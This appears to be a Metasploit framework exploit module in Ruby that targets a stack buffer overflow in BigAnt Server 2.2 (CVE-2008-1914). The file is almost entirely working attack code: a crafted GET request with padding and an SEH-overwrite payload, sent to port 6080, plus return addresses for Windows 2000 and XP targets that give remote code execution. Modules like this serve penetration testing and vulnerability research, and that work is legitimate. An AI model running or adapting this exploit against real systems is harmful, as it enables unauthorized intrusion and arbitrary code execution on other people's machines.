##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server 2.2 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in BigAnt Server 2.2.
        By sending a specially crafted packet, an attacker may be
        able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1914' ],
          [ 'OSVDB', '44454' ],
          [ 'BID', '28795' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'  =>  'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro All English',   { 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2008-04-15'))

    register_options([Opt::RPORT(6080)])
  end

  def exploit
    connect

    sploit =  "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
    sploit << rand_text_alpha_upper(1024 - payload.encoded.length)

    print_status("Trying target #{target.name}...")
    sock.put(sploit + "\n\n")

    handler
    disconnect
  end
end
